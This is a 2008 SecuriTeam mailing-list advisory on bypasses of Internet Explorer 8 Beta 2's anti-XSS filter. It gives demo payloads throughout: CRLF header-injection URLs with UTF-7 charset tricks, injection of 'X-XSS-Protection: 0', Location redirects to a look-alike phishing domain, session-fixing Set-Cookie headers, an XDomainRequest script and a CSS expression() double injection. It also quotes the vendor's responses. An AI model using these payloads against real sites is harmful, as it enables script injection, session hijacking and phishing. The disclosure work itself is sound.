[NT] Internet Explorer 8.0 Beta 2 Anti-XSS Filter Vulnerabilities

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



Internet Explorer 8.0 Beta 2 Anti-XSS Filter Vulnerabilities
------------------------------------------------------------------------


SUMMARY

Aspect9 has discovered several vulnerabilities in Microsoft Windows
Internet Explorer 8.0 Beta 2. This new version of Microsoft's famous
browser includes new security improvements such as a Cross Site Scripting
(XSS) filter. This version also includes a new object that safely allows
transferring data across domains, allowing them to interact with each
other.

The Anti-XSS filter has been found to have some security holes in the
current implementation. Microsoft decided to filter "Type 1 XSS" which is
free text send to the server being reflected to the user and therefore
injecting HTML code into the website's page. They chose not to handle
certain situations such as injection into a JavaScript tag space, which
would be extremely difficult to filter. The software giant also chose not
to filter injection into HTTP headers, which will drive hackers to focus
on discovering CRLF vulnerabilities.

DETAILS

Vulnerable Systems:
* Windows Platform with Internet Explorer 8.0 Beta 2

Technical Details:
Bypass using CRLF+Encodings:
Microsoft Windows Internet Explorer 8.0 Beta 2 was designed to stop "Type
1 XSS" attacks. CRLF Injection is also XSS type 1 and is not mitigated by
the filter, though the data in the query string will still be filtered.
This means that if an attacker tries to exploit a CRLF for XSS in the
casual manner, used in this demo:
http://www.linkstofiles.com/crlf.py?url=cookie1%3dvalue1;%0D%0A%0D%0A<html><body>
<script>alert('get it?')</script></body></html>

His attack will fail as "<script>" will be filtered to "<sc#ipt>"

However, an attacker can inject a content-type header and overwrite the
page charset and therefore bypass the XSS filter which uses the prior
encoding. A good example for this is with utf-7, the following request:
http://www.linkstofiles.com/crlf.py?url=cookie1%3dvalue1;%0d%0aContent-
Type: text/html; charset%3dutf-7%0d%0a%0d%0a<html><body>+ADw-script+AD4-
alert('owned')+ADw-/script+AD4-</body></html>

This will result in:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-7
Server: Microsoft-IIS/6.0
Set-Cookie: url=cooki1=value1;
X-Powered-By: PleskWin
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Date: Sun, 05 Oct 2008 23:46:11 GMT
Connection: close

<html><body>+ADw-script+AD4-alert('owned')+ADw-/script+AD4-</body></html>;
Content-Type: text/html

This will be rendered as utf-7 and will execute.

Bypass using CRLF+"X-XSS-Protection":
In addition to the problem of CRLF being able to re-write the page and
bypass the filter using a different encoding than the one of the page,
Microsoft were kind enough to leave a backdoor AKA feature for developers
to turn the filter off. This header is called "X-XSS-Protection" which
gets a Boolean value of 0 or 1. Injecting "X-XSS-Protection: 0" though
CRLF an attacker can shutdown the XSS protection for the current request.

Demo:
http://www.linkstofiles.com/crlf.py?url=cooki1%3dvalue1;%0d%0aX-XSS-Protection:0
%0d%0a%0d%0a<html><body><script>alert('owned')</script></body></html>

Of course the problem goes further to any HTTP header that can be used
maliciously like setting cookies and by that changing to a different user
then the one logged on, such as stealing their cookie and then replacing
it with a cookie of a bulk user and therefore taking over their session.
using "Location:" header to redirect pages and internal frames/iframes to
look-a-like phishing websites and etc...

Demos:
http://www.linkstofiles.com/crlf.py?url=cooki1%3dvalue1;%0d%0aLocation:http://www.micros0ft.com%0d%0a%0d%0a

http://www.linkstofiles.com/crlf.py?url=cooki1%3dvalue1;%0d%0aSet-
Cookie:sessionid%3dblablablabla_bulk_user_md5_sessionid%0d%0a%0d%
0a<html><body>The server is busy, try again in 30 minutes</body></html>

CRLF+"XDomainRequestAllowed" --> XDomainRequest Enabling:
Having a CRLF injection already gives an attacker the ability to overwrite
the HTTP response BODY, which means he can create a new hidden
image/frame/form and send data through it, data such as the domains
cookie. But it is clear that overwriting the body using CRLF and making it
look the same requires a "fetcher" server side script on the same domain.
Also a network filter or a WAF may deny injection of double CRLF
(%0d%0a%0d%0a). As time goes by and security evolves, the attacker should
have a harder time sending this information out silently.

In IE8, there is a new object called "XDomainRequest" which is designed to
allow safe data exchange across domains.
More information at:
<http://msdn.microsoft.com/en-us/library/cc288108(VS.85).aspx>
http://msdn.microsoft.com/en-us/library/cc288108(VS.85).aspx

The browser will only allow the client(the JavaScript code) to interact
with that website if the website returns the "XDomainRequestAllowed"
Boolean header.

Using CRLF to inject XDomainRequestAllowed header an attacker can interact
in a CROSS DOMAIN mode with that website without his consent, as it is
being faked by the injected header. This attack concept on the
XDomainRequest in general should be named "XAI" (XDR Allowed Injection)

This is a demo request to a CRLF vulnerable web page:
http://www.linkstofiles.com/crlf.py?url=cooki1%3dvalue1;%0d%0aXDomainRequestAllowed: 1

This is how the attacker's script would look like:
<script>
try {
xdr = new XDomainRequest();
xdr.onload = function() {
alert(xdr.responseText);
}
xdr.open("GET", "http://www.linkstofiles.com/crlf.py?url=cooki1%
3dvalue1;%0d%0
aXDomainRequestAllowed: 1");
xdr.send("");
} catch (e) {
alert(e.description)
}
</script>

The attacker can now transfer data to/from that domain other domains with
just 1 header injection, a new, by design weapon to replace leak data with
XSS. An attacker can use the new feature to interact with web servers
(i.e. send and receive data from those domains) by pretending to have the
authorization to do so, using a single CRLF header injection. This is an
ultimate vulnerability that exploits this new feature to enable easy
information data leakage and cross domain attacks.

UTF-7 Websites are not filtered:
When the page charset is set to utf-7 whether by the http header or by a
meta tag, the Anti-XSS filter will not apply on this page, allowing a
utf-7 encoded injected html code to execute. In other words, utf-7 content
sent to utf-7 encoded web pages is not filtered, therefore allowing XSS
attacks on utf-7 web pages.

Rafi must admit that he has never met a website written in utf-7 for
non-malicious purposes, but it is still a feature and there are many
website that implement language templates and receive the charset as a
parameter from the query string or the cookie.

Demos:
http://www.linkstofiles.com/xssurlnoparams.py/+AD4-+ADw-script+AD4-alert('see?')+ADw-/script+AD4-+ADw-div

http://www.linkstofiles.com/xssurlnoparams.py?data=+AD4-+ADw-script+AD4-alert('see?')+ADw-/script+AD4-+ADw-div

Direct bypass using any double injection:
A quote from the filter's architecture implementation:
<<<
"If a page contains multiple nearby injection points, attacks can be
constructed that thwart the XSS Filter."

Well, that is not accurate.

ANY second appearance of the injected data will allow execution of script
code. The concept is that data inside tags such as script and style is
parsed by their own parser.

The CSS(style) parser has 2 characteristics that differentiate it from the
script parser:
1) It is a silent parser (there is no indication of failure)
2) It is executing as batch operations per block, which means that closing
A NON EXISTING (never opened) block will cause parsing of the following
blocks.

It means that in a quite common scenario of any text injected just twice
at any position inside the HTML(except inside a textarea/script/style
tags, these can also be fixed by putting </textarea> in a css comment) of
the page will cause at the first point where the code is injected to the
page

} BODY{a:expression(alert('hi'))};</style>***<style>***

a style tag is opened and anything after it will be ignored by a silent
css parser error and on the second injection:

***} BODY{a:expression(alert('hi'))};</style>***<style>

a new style block will be opened, rendered and this would automatically
execute script code!

Demo:
http://www.linkstofiles.com/doublexss.py?username=}
BODY{a:expression(alert('hi'))};

Filter False Positives:
The following text send to a page as parameters will trigger a
false-positive match by the Anti-XSS filter:

<"script">alert('innocent code')</script>
<'script'>alert('innocent code')</script>
"<[whatever]script>alert('innocent code')</script>

The following should trigger on most CSS design forums with a preview
feature:
<style>@import</style>
<style>x:y(1)</style>

This means that a CSS tutorial web page cannot send to itself or to
another page the following raw text (whether it will be treated as text or
as HTML by the receiving page):

<style>color:rgb(1,2,3)</style>

Vendor Status:
Microsoft's response regarding the CRLF issues:
"We will not be lead to compromise the XSS Filter's web site compatibility
by attempting to address every conceivable XSS attack scenario."

Microsoft's response regarding the STYLE issue:
"We hope we can get a change in prior to IE8 RC1"

Microsoft's response regarding the "filter not applied in UTF-7 Websites":
"Behaviour is by design"


ADDITIONAL INFORMATION

The information has been provided by <mailto:rafelivgi@xxxxxxxxx> Rafel
Ivgi.



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages